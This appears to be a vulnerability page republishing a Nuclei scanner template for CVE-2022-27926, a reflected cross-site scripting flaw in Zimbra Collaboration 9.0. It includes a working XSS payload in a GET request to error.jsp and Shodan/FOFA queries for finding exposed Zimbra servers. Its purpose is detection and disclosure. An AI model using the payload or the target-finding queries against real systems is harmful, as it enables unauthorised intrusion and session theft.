CVE-2022-27926: Zimbra Collaboration (ZCS) - Cross Site Scripting

2025-08-01 Zimbra Collaboration PoC Public

Description

A reflected cross-site scripting (XSS) vulnerability in the /public/launchNewWindow.jsp component of Zimbra Collaboration (aka ZCS) 9.0 allows unauthenticated attackers to execute arbitrary web script or HTML via request parameters.

PoC

id: CVE-2022-27926

info:
  name: Zimbra Collaboration (ZCS) - Cross Site Scripting
  author: rootxharsh,iamnoooob,pdresearch
  severity: medium
  description: |
    A reflected cross-site scripting (XSS) vulnerability in the /public/launchNewWindow.jsp component of Zimbra Collaboration (aka ZCS) 9.0 allows unauthenticated attackers to execute arbitrary web script or HTML via request parameters.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by Zimbra to fix the XSS vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-27926
    - https://wiki.zimbra.com/wiki/Security_Center
    - https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P24
    - https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-27926
    cwe-id: CWE-79
    epss-score: 0.17634
    epss-percentile: 0.96991
    cpe: cpe:2.3:a:zimbra:collaboration:9.0.0:-:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zimbra
    product: collaboration
    shodan-query:
      - http.favicon.hash:"1624375939"
      - http.favicon.hash:"475145467"
    fofa-query:
      - app="zimbra-邮件系统"
      - icon_hash="475145467"
      - icon_hash="1624375939"
  tags: cve,cve2022,zimbra,xss,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/public/error.jsp?errCode=%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror=alert(document.domain)>Title???'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c02eb42b0ca58e72c6cd8cc543150feedbc3599920f7091521fcb2fdc3dcf8ea022014acf0d9ddf1ecb0da33011101459496006cade3b20a14eff915250e0baeb3ff:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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